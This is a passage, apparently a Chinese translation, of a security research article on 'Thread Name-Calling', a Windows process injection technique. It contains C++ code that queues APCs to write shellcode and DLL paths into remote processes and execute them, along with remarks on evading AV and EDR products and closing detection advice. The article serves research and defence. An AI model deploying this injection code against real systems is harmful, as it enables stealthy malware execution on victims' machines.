GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlMoveMemory"); if (!_RtlMoveMemoryPtr) { std::cerr << "Failed retrieving: _RtlMoveMemoryPtr\n"; return false; } if (!queue_apc_thread(hThread, _RtlMoveMemoryPtr, shellcodePtr, remotePtr, (void*)payload_len)) { return false; } std::cout << "Added RtlMoveMemory to the thread queue!\n"; #else DWORD oldProtect = 0; if (!VirtualProtectEx(hProcess, shellcodePtr, payload_len, PAGE_EXECUTE_READWRITE, &oldProtect)) { std::cout << "Failed to protect!" << std::hex << GetLastError() << "\n"; return false; } std::cout << "Protection changed! Old: " << std::hex << oldProtect << "\n"; #endif bool isOk = false; auto _RtlDispatchAPC = GetProcAddress(GetModuleHandle("ntdll.dll"), MAKEINTRESOURCE(8)); //RtlDispatchAPC; if (_RtlDispatchAPC) { std::cout << "Using RtlDispatchAPC\n"; if (queue_apc_thread(hThread, _RtlDispatchAPC, shellcodePtr, 0, (void*)(-1))) { isOk = true; } } else { if (queue_apc_thread(hThread, shellcodePtr, 0, 0, 0)) { isOk = true; } } if (isOk) std::cout << "Added to the thread queue!\n"; #ifndef USE_EXISTING_THREAD ResumeThread(hThread); #endif CloseHandle(hThread); return isOk; }
}
并且它有效!
查看实际效果
图 3 – 线程名称调用的演示:注入 mspaint.exe 的代码执行了一个新进程:calc.exe
正如我们在测试中发现的那样,虽然我们调用了潜在的可疑 API(VirtualProtectEx
或VirtualAllocEx
),但对于大多数产品而言,仅凭这一点还不足以标记有效载荷:没有注册我们正在使用注入的缓冲区。
已知的限制和有待改进的领域
在我们的研究过程中,我们评估了几种使注入的缓冲区可执行的不同方法。不幸的是,每种方法都有其缺陷。最直接的方法是通过对进程进行操作的 API,例如VirtualProtectEx
或VirtualAllocEx
- 但是,使用这些函数可能会引起不必要的注意。另一种方法是通过 ROP 远程调用函数VirtualProtect
或VirtualAlloc
- 但是,这涉及一组更加可疑的 API,因此我们决定坚持使用更简单的替代方案。
具有 RWX 访问权限的页面的存在是另一个指标,内存扫描器会快速发现它。只需再使用几个调用,我们就可以轻松实现一个场景,即分配一个具有读/写访问权限的新内存区域,将注入的缓冲区复制到那里,然后将其更改为读/执行。此外,一旦我们在远程进程的上下文中执行了代码,就没有什么可以阻止我们进一步转移,在其中分配额外的内存(只要该进程不使用 DCP 策略),并移动有效载荷,将访问权限更改回初始权限。
如果需要的话,我们还可以进一步减少打开该流程所需的访问权限,如本章开头所述。
补充:使用线程名进行 DLL 注入
DLL 注入是使用我们的代码增强正在运行的进程的 著名技术之一LoadLibrary
。它不是一种特别隐蔽的技术,因为它 调用必须先放到磁盘上的有效负载 (DLL)。此外,通过标准 API 加载 PE 本身会生成可用于检测的内核回调。尽管如此,它是一种在某些情况下很有用的简单技术,值得我们将其纳入我们的武器库中。
DLL 注入的典型实现包括:
VirtualAllocEx
– 为远程进程中的 DLL 路径分配内存WriteProcessMemory
– 将路径写入分配的内存CreateRemoteThread
(或等效方法)– 远程调用LoadLibrary
(将指针传递给写入路径)。某些变体可能涉及LoadLibrary
通过 APC 而不是新线程运行。
在本节中,我们提出了一种替代实现,它不需要对目标进程的写访问权限,并且涉及非标准 API:
SetThreadDescription
+NtQueueApcThreadEx2
与GetThreadDescription
– 用于远程内存分配 + 将路径写入远程进程NtQueueApcThreadEx2
– 远程调用LoadLibrary
(当然,我们也可以使用新线程,就像在经典实现中一样)
第一步可以完全按照线程名称调用实现的方式实现(详见“借助线程描述进行远程写入”)。代码片段:
const wchar_t* buf = dllName.c_str ( ) ;
void *remotePtr = get_peb_unused ( hProcess ) ;
wchar_t* wPtr = pass_via_thread_name ( hProcess, buf, remotePtr ) ;
与线程名称调用相比,我们不必改变注入缓冲区的访问权限,因此第二步非常简单。
bool inject_with_loadlibrary(HANDLE hProcess, PVOID remote_ptr) { HANDLE hThread = find_thread(hProcess, THREAD_SET_CONTEXT); bool isOk = queue_apc_thread(hThread, LoadLibraryW, remote_ptr, 0, 0); CloseHandle(hThread); return isOk; }
}
查看实际效果
测试目标
所描述的技术在 Windows 10 和 Windows 11 上进行了测试。测试版本列表:
版本10.0.19045内部版本19045 (Windows 10企业版,64位)
版本10.0.22621内部版本22000 (Windows 11 Pro ,64位)
版本10.0。22621内部版本22621 (Windows 11 Pro,64位 - Windows 11 v22H2 )
版本10.0。22631内部版本22631 (Windows 11 Pro,64位 - Windows 11 v23H2 )
预期目标是 64 位进程。可以设置以下缓解策略:
DWORD64 MitgFlags = PROCESS_CREATION_MITIGATION_POLICY_CONTROL_FLOW_GUARD_ALWAYS_ON | PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON // won't work with the version calling VirtualProtect/VirtualAlloc via ROP | PROCESS_CREATION_MITIGATION_POLICY_HEAP_TERMINATE_ALWAYS_ON | PROCESS_CREATION_MITIGATION_POLICY_BOTTOM_UP_ASLR_ALWAYS_ON | PROCESS_CREATION_MITIGATION_POLICY_HIGH_ENTROPY_ASLR_ALWAYS_ON | PROCESS_CREATION_MITIGATION_POLICY_STRICT_HANDLE_CHECKS_ALWAYS_ON | PROCESS_CREATION_MITIGATION_POLICY_EXTENSION_POINT_DISABLE_ALWAYS_ON | PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_REMOTE_ALWAYS_ON | PROCESS_CREATION_MITIGATION_POLICY2_MODULE_TAMPERING_PROTECTION_ALWAYS_ON ;
线程名称调用对设置了以下缓解策略的进程不起作用:
进程创建缓解策略_WIN32K_系统调用_DISABLE_ALWAYS_ON
源代码
包含所描述技术的实现的完整源代码可在以下存储库中找到:
GitHub - hasherezade/thread_namecalling: Process Injection using Thread Name
结论
随着 Windows 中新 API 的加入,注入技术的新思路也不断涌现。为了实现有效的检测,我们必须时刻关注不断变化的形势。幸运的是,微软还致力于提高反恶意软件产品的可见性,目前大多数重要的 API 都可以借助 ETW 事件进行监控。
Thread Name-Calling 使用了一些相对较新的 API。但是,它无法避免使用较旧的知名组件,例如 APC 注入 - 这些 API 应始终被视为潜在威胁。同样,在远程进程中操纵访问权限是一种可疑活动。但是,即使是这些指标,在典型的调用序列之外使用时,也可能被某些 AV 和 EDR 产品忽略。
参考
Process Injection, Technique T1055 - Enterprise | MITRE ATT&CK®
https://twitter.com/Hexacorn/status/1317424213951733761
https://twitter.com/_Gal_Yaniv/status/1353630677493837825
https://gitlab.com/ORCA000/tdp
Shellcode injection using ThreadNameInformation
Windows Process Injection: Asynchronous Procedure Call (APC) | modexp